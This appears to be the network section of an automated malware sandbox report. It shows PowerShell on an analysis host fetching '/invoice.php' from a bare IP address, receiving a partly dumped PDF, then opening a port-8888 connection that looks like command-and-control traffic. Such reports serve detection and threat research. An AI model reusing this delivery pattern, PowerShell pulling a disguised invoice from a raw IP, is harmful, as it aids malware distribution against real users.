Jan 10, 2025 19:45:04.766175032 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.766187906 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.766200066 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.766211987 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.766222954 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.766235113 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.766246080 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.766249895 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.766261101 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.766279936 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.766290903 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.766290903 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.766303062 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.766315937 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.766321898 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.766321898 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.766333103 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.766352892 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.766352892 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.766366959 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.766376972 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.766379118 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.766392946 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.766402960 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.766411066 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.766415119 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.766427040 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.766436100 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.766438961 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.766453028 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.766462088 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.766464949 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.766495943 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.782653093 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.794593096 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.794670105 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.794703960 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.794708014 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.794753075 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.794763088 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.794800043 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.794833899 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.794842958 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.794867992 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.794903994 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.794907093 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.794940948 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.794974089 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.794975996 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.795011044 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.795047045 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.795049906 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.795082092 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.795116901 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.795120001 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.795156002 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.795202017 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.816822052 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.820691109 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.820739985 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.820765972 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.820776939 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.820795059 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.820811987 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.820862055 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.820869923 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.820905924 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.820943117 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.820952892 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.820997000 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.821042061 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.821049929 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.821084023 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.821118116 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.821120977 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.821151972 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.821186066 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.821192026 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.821221113 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.821254969 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.821259022 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.821289062 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.821324110 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.821331024 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.821362019 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.821397066 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.821399927 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.821432114 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.821468115 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.821469069 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.821497917 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.821540117 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.824955940 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.856105089 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.856127024 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.856139898 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.856168985 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.856188059 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.856199026 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.856213093 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.856219053 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.856225014 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.856239080 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.856256008 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.856267929 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.856270075 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.856282949 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.856295109 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.856307030 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.856307030 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.856321096 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.856333971 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.856333971 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.856353998 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.856355906 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.856370926 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.856378078 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.856384993 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.856396914 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.856410027 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.856410980 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.856422901 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.856431007 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.856436014 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.856448889 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.856463909 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.856470108 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.856477022 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.856492043 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.856502056 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.856509924 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.856517076 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.856529951 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.856542110 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.856553078 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.856553078 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.856566906 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.856580019 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.856583118 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.856594086 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.856606007 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.856610060 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.856617928 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.856631041 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.856645107 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.856654882 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.856662989 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.856674910 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.856686115 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.856697083 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.856698036 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.856707096 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.856713057 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.856723070 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.856739044 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.856745958 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.856751919 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.856765032 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.856775999 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.856779099 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.856792927 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.856794119 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.856807947 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.856821060 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.856821060 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.856838942 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.856848001 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.856852055 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.856863976 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.856875896 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.856884003 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.856890917 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.856908083 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.856914043 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.856921911 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.856935024 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.856946945 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.856945992 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.856961012 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.856971979 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.856973886 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.856978893 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.856995106 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.857007027 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.857009888 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.857018948 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.857027054 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.857034922 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.857049942 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.857057095 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.857062101 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.857075930 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.857096910 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.857110023 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.857121944 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.857132912 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.857135057 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.857150078 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.857161045 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.857188940 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.860199928 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.894800901 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.894820929 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.894839048 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.894854069 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.894866943 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.894879103 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.894891977 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.894902945 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.894915104 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.894917965 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.894929886 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.894943953 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.894957066 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.894961119 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.894970894 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.894983053 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.894984007 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.894994974 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.895003080 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.895009041 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.895020962 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.895051003 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.908293009 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.908317089 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.908329010 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.908340931 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.908373117 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.908385992 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.908392906 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.908405066 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.908416033 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.908428907 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.908442020 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.908461094 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.908468962 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.908482075 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.908493996 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.908493996 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.908508062 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.908514977 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.908519983 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.908531904 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.908546925 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.908555031 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.908632040 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.908643961 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.908655882 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.908674955 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.908677101 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.908689022 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.908695936 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.908700943 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.908713102 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.908731937 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.908755064 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.939429998 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.939476013 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.939490080 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.939501047 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.939512968 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.939524889 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.939536095 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.939548016 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.939558983 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.939572096 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.939574957 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.939588070 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.939640045 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.989759922 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:05.507783890 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:06.164998055 CET	49705	8888	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:06.169945955 CET	8888	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:06.170032978 CET	49705	8888	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:06.171000957 CET	49705	8888	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:06.175796986 CET	8888	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:06.988341093 CET	8888	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:07.036628962 CET	49705	8888	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:07.073642969 CET	49705	8888	192.168.2.8	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 19:45:15.191081047 CET	56626	53	192.168.2.8	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 19:45:15.191081047 CET	192.168.2.8	1.1.1.1	0xc7f8	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 19:45:15.197865009 CET	1.1.1.1	192.168.2.8	0xc7f8	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 19:46:20.429434061 CET	1.1.1.1	192.168.2.8	0x29e9	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 19:46:20.429434061 CET	1.1.1.1	192.168.2.8	0x29e9	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49704	193.143.1.205	80	1988	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 19:45:03.416960001 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 10, 2025 19:45:04.198409081 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 18:45:04 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 10, 2025 19:45:04.198457956 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
